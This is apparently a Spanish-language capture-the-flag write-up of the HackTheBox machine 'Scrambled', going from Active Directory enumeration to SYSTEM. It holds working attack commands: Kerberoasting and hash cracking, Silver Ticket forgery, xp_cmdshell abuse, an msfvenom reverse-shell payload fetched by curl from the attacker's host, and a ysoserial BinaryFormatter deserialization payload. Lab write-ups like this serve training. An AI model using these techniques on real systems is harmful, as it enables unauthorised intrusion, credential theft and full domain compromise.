xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Scrambled



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.11.168
Nmap scan report for 10.10.11.168  
PORT     STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
4411/tcp  open  found
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49675/tcp open  unknown
49676/tcp open  unknown
49688/tcp open  unknown
49746/tcp open  unknown

Con crackmapexec intentamos obtener el dominio o información pero parece que hay alguna limitación a nivel de SMB que no nos devuelve nada interesante

❯ crackmapexec smb 10.10.11.168
SMB         10.10.11.168   445    10.10.11.168   [*]  x64 (name:10.10.11.168) (domain:10.10.11.168) (signing:True) (SMBv1:False)  

Sin embargo esa limitación solo afecta a SMB, si lo hacemos por LDAP este devuelve el dominio scrm.local ademas del nombre de la máquina dc1.scrm.local

❯ crackmapexec ldap 10.10.11.168
LDAP        10.10.11.168    389    DC1.scrm.local   [*]  x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)  

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina que es el DC como otro dominio

❯ echo "10.10.11.168 scrm.local dc1.scrm.local" | sudo tee -a /etc/hosts  

Podemos abrir la web pero solo vemos una página principal bastante sencilla

En la pestaña IT Services nos muestra una alerta que nos dice que se deshabilito toda la autenticación NTLM, abajo podemos ver un apartado Resources

Si vamos a Contacting IT Support nos da las instrucciones y un correo, ademas nos muestra un ejemplo desde una cmd.exe donde vemos el usuario ksimpson

Como alternativa podemos descubrir algunos usuarios con kerbrute indicando uno de varios diccionarios pensados especificamente para usuarios de kerberos

❯ kerbrute userenum -d scrm.local --dc dc1.scrm.local A-ZSurnames.txt  
    __             __               __
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

>  Using KDC(s):
>       dc1.scrm.local:88

>  [+] VALID USERNAME:   ASMITH@scrm.local
>  [+] VALID USERNAME:   KHICKS@scrm.local
>  [+] VALID USERNAME:   KSIMPSON@scrm.local
>  [+] VALID USERNAME:   JHALL@scrm.local
>  [+] VALID USERNAME:   SJENKINS@scrm.local

Esto nos deja una lista con un total de 5 usuarios validos en el dominio

❯ cat users.txt  
asmith
khicks
ksimpson
jhall
sjenkins

Con crackmapexec por ldap por kerberos podemos probar si algun usuario utiliza su usuario como contraseña, por ejemplo la credencial asmith:asmith

❯ crackmapexec ldap scrm.local -u users.txt -p users.txt -k --no-bruteforce --continue-on-success
LDAP        scrm.local      389    DC1.scrm.local   [*]  x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)  
LDAP        scrm.local      389    DC1.scrm.local   [-] scrm.local\asmith:asmith KDC_ERR_PREAUTH_FAILED
LDAP        scrm.local      389    DC1.scrm.local   [-] scrm.local\khicks:khicks KDC_ERR_PREAUTH_FAILED
LDAPS       scrm.local      636    DC1.scrm.local   [+] scrm.local\ksimpson 
LDAPS       scrm.local      636    DC1.scrm.local   [-] scrm.local\jhall:jhall KDC_ERR_PREAUTH_FAILED
LDAPS       scrm.local      636    DC1.scrm.local   [-] scrm.local\sjenkins:sjenkins KDC_ERR_PREAUTH_FAILED

El usuario ksimpson lo hace, con smbclient podemos conectarnos autenticandonos por kerberos ya que la autenticacion NTLM esta deshabilitada, enumerando algunos recursos compartidos por smb encontramos el recurso Public que tiene un pdf

❯ impacket-smbclient scrm.local/ksimpson:ksimpson@dc1.scrm.local -k
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
# use Public
# ls
drw-rw-rw-          0  Thu Nov  4 18:23:19 2021 .
drw-rw-rw-          0  Thu Nov  4 18:23:19 2021 ..
-rw-rw-rw-     630106  Fri Nov  5 13:45:07 2021 Network Security Changes.pdf  
# get Network Security Changes.pdf
#

Este nos explica los cambios, el primero fue que se deshabilito la autenticacion NTLM y el segundo que el uso de Mssql solo esta habilitado para administradores


Shell - SQLSvc


Tenemos credenciales del dominio validas, algo a probar seria un Kerberoasting Attack, sin embargo al hacerlo con GetUserSPNs nos devuelve un problema

❯ impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -request -dc-ip dc1.scrm.local  
Impacket v0.11.0 - Copyright 2023 Fortra

[-] exceptions must derive from BaseException

Buscamos el error y en una discusion de github encontramos la solucion al problema, esta es cambiar simplemente getMachineName() por kdcHost

if self.__doKerberos:
    target = self.getMachineName()  

if self.__doKerberos:
   target = self.__kdcHost  

Ahora guardamos los cambios en el .py y al hacer de nuevo el kerberoasting obtenemos el hash del usuario sqlsvc bajo en spn MSSQLSvc/dc1.scrm.local

❯ impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -request -dc-ip dc1.scrm.local
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName          Name    MemberOf  PasswordLastSet             LastLogon                   Delegation 
----------------------------  ------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/dc1.scrm.local:1433  sqlsvc            2021-11-03 12:32:02.351452  2023-05-03 20:14:38.654579             
MSSQLSvc/dc1.scrm.local       sqlsvc            2021-11-03 12:32:02.351452  2023-05-03 20:14:38.654579             

$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$7c127a39e3aa0cf85b101d9b6bdb04e2$2aef49dab510aa6308f93520c807a8c65f1adf6a2c1a296b8cd2f0ee9cfbd9e5f5de009fe74d7d78ac2e2c5dd5bda887e6e45607f653b2e9ed6fa0b2299d2239c74986d3a8f848255704edc403cd34bdcf375f3e3b3a98a95d651b6ac433a78c9234dac5694b75464316e9bbe0e024aa506bd22ce98a032c6bb63a3ab7cfde623717d279b601fa692883a3508c399efa069e273238509f2b92490544d04465c7e7f51f3db959853cb3604139ada68d66b1ec78c3b45129cd82280e46c4403b94450af9bd9e5b806f636432b8268adcff1e60c9dfea6a7c5bb92da1ce0aae9de7f587391de6d26dfd920a9f616aa797732f004314d9de079800cd40d037b05984065ad14874b525c296687be32514f34b6a25bec13b11efc5c7e571a2c6a3dbd30a522d42ec5fa73c2356168f91d18a93d53f9cd325b5f13078651576ba8a84239863e6955120f903c1093836908517c385a5317648826bfda969e5a06d37f0a5cba9c0fdb0d716b9ab6e8dd03f10fa0a1d3c18a03b0ca186b51e94947cf41ac71ead139c9c2f4dfb6544e4bf8eb0d9160e4be817b24f529f16cfa437fb1482a22bc3e2074b6f95dc94c3240370cc0bc9754b7dfc060a34ae7379d9582aa8d4a3507b03a012d349e9746f2657101b0939d8b18ef8da5a58ff3bc5eb4da56cf9f40187a1499cb61abdf288b8c0003de9e4247980939779e3a168884aa61a2c1539cb199e3e46fdcf95813f0544f54ab0141bfecd4740d5c4d6afbe2488c8f7b24ca5a2d9276797974a6caf2931fd654e88971204904dda38e748dbe84ab48e9fbf6996575e2360dc01701ee526bad06a5a722a3c2dae6ed2cfeade11717b99ad70917f7490f518cc1882d96a4ae211d09bd0477db29851996bf00996193385820ec578b4b3544f0624f1078b45bc16c3a46aa29a0f4baf9a41ab84646c50629573c8879dc3516ee47b4e61357386e08842a24564452fcf2b0e1c51b0db3424e3abba24a69cb2487dab263f2a995e47a6b544850751fe2ee0b1fd5f63e96683ce905fb73cfc34a329acea18f28d93d41546e77d2943bc780a3dd069244d1a1e2771ab3fd84e49469682a39f6e6238b79e9b4042c1c6df79a538685bb603e22f7ab3d32afa8c8c04dcd825c10309d0f639c13b33f47d0146c19b01c9f435c929fce64b0c7592537881e0477b6597ccdd9cb736c3d34371a5f15aa555ce14f2705c54061d20982263d52b953eec2fdec0a3ca9a4b8e5168e7ed6be2fbb1723fe029c286839e12731df0fc167daa31a3725e1fb9e7797f20b68b107f2c444baa03cad11cf46aefa6c0b570c1668a6d81c07ede3db1b321e398e1f1095dcf312d7d2b2ea50cb96eb6effaa8ee0ada5041469e09f4a93925909be921c33d38120fe236e0167cf2098baa80003c5d626862f84fe014cfbde3d9a934adc86eb9  

Aunque una forma mas facil de hacer kerberoasting attack es desde crackmapexec, este igual nos devuelve el hash del usuario sqlsvc sin ningun tipo de problema

❯ crackmapexec ldap scrm.local -u ksimpson -p ksimpson -k --kerberoasting hash
LDAP        scrm.local      389    DC1.scrm.local   [*]  x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)
LDAPS       scrm.local      636    DC1.scrm.local   [+] scrm.local\ksimpson 
LDAPS       scrm.local      636    DC1.scrm.local   [*] Total of records returned 2
LDAPS       scrm.local      636    DC1.scrm.local   sAMAccountName: sqlsvc memberOf:  pwdLastSet: 2021-11-03 12:32:02.351452 lastLogon:2023-05-19 21:48:25.014834
LDAPS       scrm.local      636    DC1.scrm.local   $krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$4d9d12670b6058d6ed09729784bb2c36$403269bf1b8ba8582fb46aabeca813c9afea43545a0fbeecf1b34fce97b6572126e8f81a9cd50719f7577a2a0b7f6d59e169d1f92cc4943af7cc3e441876dd65eb8f6c2b8ab5e71af5dba32ba3b858e906be66a00df3230e4001f0a59398379aeb3f19551b666b7c97f8258dc1fa9b1dc84fae497bccb9b12b2318396e41f34856f146717ef92c1a933364165a257e9788c1a09d6a84a0eca89d4fa953e129d4c55ad4300e266b779c4421dc46bc25e04226c55ef3ade3e6977b30185616b66abddae4c81723b58ec69edcb6dfea5ad707b4f68a131d787e947ab090d0f94c59ce191f203d3ea28140bc338244b052975702535cfcdd5ad99e9e9506b82a97d5bcb38f4fa1a7b9fd3ad8e56feae6926e8495d5874143e4197a353a0d2a8855e9838e6f60a70dfb5ffcd6fdcfd4d53eaf1989f3b4347390e78ddfa1763d1ae6a8e1f998fa1987930bed159a61af9a8cc9bb752a694122fbb98b4e6b7869330d2de9e7f458aa5b6a992d2260c19c66917c4df920eb3124153c0e48bd824e11d9a98728ed459587c7be114e4bd646054afd7317db7b580d6c73bd1a15ba985d22d1d521d2a3e9105d8bf7150b1755353a50bb0b81f1926ac68e1d0dfdbd820a178135d69fa0ecf9b7e951c1759ec1d648d238351daae1954f53fa6e991ef07692f5646838703723d109e31153049bb8c24e1975d0e50924baa9761bf6664b72e0987942b753a15b713d4accbbd99149ec400d6fb0f1241984cb783ad459ecf8ae8583719491aa28adf738cbda92f9e99780c9cb814b71640829a4be5403d833def60613450e1547647654854d73422857b118d9626ffb0f843961eea56e8c60704fdca6653e85b192531d773e9e480f6ca66784de9c132f4a87f697f6cdd09250a858ac4abd624bb4e9caebe9acd77782566fbb23b3bff9794680ab02d22569ea070e0c3300f5ae37c07b88bd5b7f4605c0c42b917b43db24b7be92642968232924ac9b581bc8b18c1f19cbd307f0f4dcf21a4c75df0eb9c2441dd45dc1d1cbe93728b985ba6c2ff7b9896e23cc3255f18731c48d4b0a99a2e2e9d43e37fd8285e3e93d6c0e463e7f109c5c2fdb24b4792a7080c1c20beff83fa83da11d08dc39cba671429e43af5199ceaecc268c2af5de85da31d3384cbc4de9196bc1b886c04eebcf51ece0c6caac45cad525ea345a79e0ca3e2477e8b4ae2e708e5d80523a9ac43b354c5b688ec32f3637505e539102e0e3bbc486550cf98d1541e4081979c494d210aa16c53bdfcdbf59fff85a39fb7ab8b7797477d71ce9bfd781a3ed2ef058845185d9fbbb3675fef12922b03b899b750c09907add59d6ed66d6b7cfdb71eafb45dfd762392c044bd507162a8194a51d42595111fbc34a631de83d9ecbe228bba333ca441b5e8a8f83b50052027f95342bc28f4bcc120e1634  

Al pasarle este hash a john obtenemos la contraseña Pegasus60 para sqlsvc

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])  
Press 'q' or Ctrl-C to abort, almost any other key for status
Pegasus60        (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Al intentar conectarnos a mssql nos devuelve Login failed, esto es porque como vimos el pdf la autenticacion a mssql solo nos funcionara como un administrador

❯ impacket-mssqlclient scrm.local/sqlsvc:Pegasus60@dc1.scrm.local -k  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\sqlsvc'.

Mediante un Silver Ticket con ese SPN podriamos suplantar al usuario Administrator pero antes de ello necesitamos varias cosas, iniciaremos con el SID del dominio que podemos obtener con getPac que entre la informacion lo muestra

❯ impacket-getPac scrm.local/ksimpson:ksimpson -targetUser ksimpson | grep SID  
Domain SID: S-1-5-21-2743207045-1827831105-2542523200

Lo siguiente es el hash NT, ya que tenemos la contraseña podemos convertirlo

❯ echo -n Pegasus60 | iconv -t utf16le | openssl md4  
MD4(stdin)= b999a16500b87d17ec7f2e2a68778f05

Ahora con ticketer bajo el SPN MSSQLSvc/dc1.scrm.local con la información que hemos obtenido generamos un ticket que nos otorgara como Administrator

❯ impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local Administrator  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/Administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in Administrator.ccache

❯ export KRB5CCNAME=Administrator.ccache

Este privilegio de Administrator se limita al servicio del SPN, asi que podemos conectarmos a mssql haciendo uso de la autenticacion de kerberos con el

❯ impacket-mssqlclient dc1.scrm.local -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.  
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL>

Como somos administradores podemos habilitar el modulo xp_cmdshell para ejecutar comandos, ejecutamos un whoami y lo hace como el usuario sqlsvc

SQL> enable_xp_cmdshell
[*] INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.  
[*] INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami

output     
-----------
scrm\sqlsvc

SQL>

Para obtener una powershell inicaremos por generar un exe malicioso que nos haga una revshell, despues lo compartimos con un servicio http con python

❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1887 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora desde xp_cmdshell descargamos el shell.exe y lo guardamos en C:\ProgramData, seguidamente lo invocamos para que nos envie la shell

SQL> xp_cmdshell curl 10.10.14.10/shell.exe -o C:\ProgramData\shell.exe

output
--------------------------------------------------------------------------  

SQL> xp_cmdshell C:\ProgramData\shell.exe

Al hacerlo obtenemos una powershell en la maquina como el usuario sqlsvc

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.168
Windows PowerShell running as user sqlsvc on DC1
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\Windows\system32> whoami
scrm\sqlsvc
PS C:\Windows\system32>


Shell - MiscSvc


Antes de seguir nos conectaremos de nuevo a mssql para enumerarlo, si listamos las bases de datos existentes en el servidor nos encontramos con ScrambleHR

SQL> select name from sys.databases;  

name
----------
master
tempdb
model
msdb
ScrambleHR

SQL>

En esa base de datos tenemos solo 3 tablas donde solo destaca UserImport

SQL> select name from ScrambleHR.sys.tables;  

name
----------
Employees
UserImport
Timesheets

SQL>

Listamos todo el contenido de la tabla UserImport de la base de datos ScrambleHR, esta contiene lo que parece ser credenciales de el usuario MiscSvc en Ldap

SQL> select * from ScrambleHR.dbo.UserImport

LdapUser   LdapPwd             LdapDomain   RefreshInterval   IncludeGroups
--------   -----------------   ----------   ---------------   -------------  
MiscSvc    ScrambledEggs9900   scrm.local                90               0

SQL>

Podemos comprobarlas con crackmapexec autenticandonos por kerberos, son validas

❯ crackmapexec ldap scrm.local -u miscsvc -p ScrambledEggs9900 -k
LDAP        scrm.local      389    DC1.scrm.local   [*]  x64 (name:DC1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)  
LDAPS       scrm.local      636    DC1.scrm.local   [+] scrm.local\miscsvc

Ya que es un usuario del dominio desde la shell de sqlsvc definimos la credencial de MiscSvc, con ella usando Invoke-Command podemos ejecutar comandos

PS C:\Windows\system32> $SecPassword = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force
PS C:\Windows\system32> $Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)  
PS C:\Windows\system32> Invoke-Command -ComputerName dc1 -Credential $Cred -Command { whoami }
scrm\miscsvc
PS C:\Windows\system32>

Nos devuelve el output como el usuario miscsvc, asi que simplemente podemos ejecutar el shell.exe que hemos subido antes para enviarnos una powershell

PS C:\Windows\system32> Invoke-Command -ComputerName dc1 -Credential $Cred -Command { cmd /c C:\ProgramData\shell.exe }  

Al hacerlo recibimos la shell como el usuario miscsvc donde podemos leer la flag

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.168
Windows PowerShell running as user miscsvc on DC1
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\Users\miscsvc\Documents> whoami
scrm\miscsvc
PS C:\Users\miscsvc\Documents> type ..\Desktop\user.txt
a19**************************e91
PS C:\Users\miscsvc\Documents>

Otra forma es mediante winrm, sin embargo ya que la autenticacion NTLM esta deshabilitada para autenticarnos por kerberos es necesario configurar el realm SCRM.LOCAL el cual se agrega desde el archivo /etc/krb5.conf en los realms

[realms]
	SCRM.LOCAL = {
		kdc = dc1.scrm.local
		admin_server = dc1.scrm.local  
		default_domain = scrm.local
	}

Una vez agregado con getTGT de impacket solicitamos un ticket para el usuario MiscSvc para con este despues exportar en la variable KRB5CCNAME

❯ impacket-getTGT scrm.local/MiscSvc:ScrambledEggs9900
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Saving ticket in MiscSvc.ccache

❯ export KRB5CCNAME=MiscSvc.ccache

Ahora autenticandonos con el ticket antes generado podemos conectarnos con evil-winrm a la maquina indicando el realm que hemos agregado de antes

❯ evil-winrm -i dc1.scrm.local -r scrm.local
PS C:\Users\miscsvc\Documents> whoami
scrm\miscsvc
PS C:\Users\miscsvc\Documents> type ..\Desktop\user.txt  
a19**************************e91
PS C:\Users\miscsvc\Documents>


Shell - Administrator


Enumerando el equipo en el directorio C:\Shares encontramos las carpetas de todos los recursos que se comparten por smb, aun nos falta enumerar el recurso IT

PS C:\Shares> dir

    Directory: C:\Shares

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       01/11/2021     15:21                HR
d-----       03/11/2021     19:32                IT
d-----       01/11/2021     15:21                Production  
d-----       04/11/2021     22:23                Public
d-----       03/11/2021     19:33                Sales

PS C:\Shares>

Dentro de algunos directorio en IT nos encontramos con un archivo exe y un dll

PS C:\Shares\IT\Apps\Sales Order Client> dir

    Directory: C:\Shares\IT\Apps\Sales Order Client

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       05/11/2021     20:52          86528 ScrambleClient.exe  
-a----       05/11/2021     20:52          19456 ScrambleLib.dll

PS C:\Shares\IT\Apps\Sales Order Client>

Nos conectamos a IT con smbclient como miscsvc y descargamos los archivos

❯ impacket-smbclient scrm.local/miscsvc:ScrambledEggs9900@dc1.scrm.local -k  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use IT
# cd Apps\Sales Order Client
# mget *
[*] Downloading ScrambleClient.exe
[*] Downloading ScrambleLib.dll
#

Podemos decompilar el binario con dnspy y ver su codigo base y algunas funciones

Analizemos un poco el codigo en este caso la función UploadNewOrder que realiza algunas validaciones, despues llama a UploadOrder de Client con un argumento

private void UploadNewOrder(object NewOrder)
{
	string errorMessage = string.Empty;
	try
	{
		this.Client.UploadOrder((SalesOrder)NewOrder);  
	}
	catch (Exception ex)
	{
		errorMessage = ex.Message;
	}
	finally
	{
		this.UploadNewOrderFinished(errorMessage);
	}
}

Veamos que hace la función UploadOrder, lo interesante en este metodo es que toma el argumento que es NewOrder y usa SerializeToBase64() para serializarlo

public void UploadOrder(SalesOrder NewOrder)
{
	try
	{
		Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
		string text = NewOrder.SerializeToBase64();
		Log.Write("Order serialized to base64: " + text);
		ScrambleNetResponse scrambleNetResponse = this.SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, text));  
		ScrambleNetResponse.ResponseType type = scrambleNetResponse.Type;
		if (type != ScrambleNetResponse.ResponseType.Success)
		{
			throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
		}
		Log.Write("Upload successful");
	}
	catch (Exception ex)
	{
		Log.Write("Error: " + ex.Message);
		throw ex;
	}
}

Entonces vamos con SerializeToBase64(), podemos ver que para serializar la data que recibe usa BinaryFormatter que es vulnerable a un ataque de deserialización

public string SerializeToBase64()
{
	BinaryFormatter binaryFormatter = new BinaryFormatter();
	Log.Write("Binary formatter init successful");
	string result;
	using (MemoryStream memoryStream = new MemoryStream())
	{
		binaryFormatter.Serialize(memoryStream, this);
		result = Convert.ToBase64String(memoryStream.ToArray());  
	}
	return result;
}

Todo esto lo corre el exe desde el puerto 4411 que esta abierto en la maquina

public ScrambleNetClient()
{
	this.Server = string.Empty;  
	this.Port = 4411;
}

Usaremos ysoserial para crear una data en base64 en el formato BinaryFormatter con su respectivo gadget, como comando ejecutaremos el shell.exe de antes

PS C:\CTF\ysoserial> .\ysoserial.exe -f BinaryFormatter -g AxHostState -o base64 -c "C:\ProgramData\shell.exe"
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAKUDAAACAAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAxwU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIEM6XFByb2dyYW1EYXRhXHNoZWxsLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4LCw==  
PS C:\CTF\ysoserial>}

Nos conectamos al puerto 4411 de la maquina donde nos recibe el programa, con UPLOAD_ORDER; como prefix enviamos nuestra data serializada que generamos

❯ netcat 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAKUDAAACAAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAxwU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIEM6XFByb2dyYW1EYXRhXHNoZWxsLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4LCw==  
ERROR_GENERAL;Error deserializing sales order: Unable to cast object of type 'State' to type 'ScrambleLib.SalesOrder'.

Al hacerlo ejecutara el comando que en este caso indicamos que es shell.exe el cual nos envia una powershell, en este caso lo hace como nt authority\system

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.168
Windows PowerShell running as user DC1$ on DC1
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system
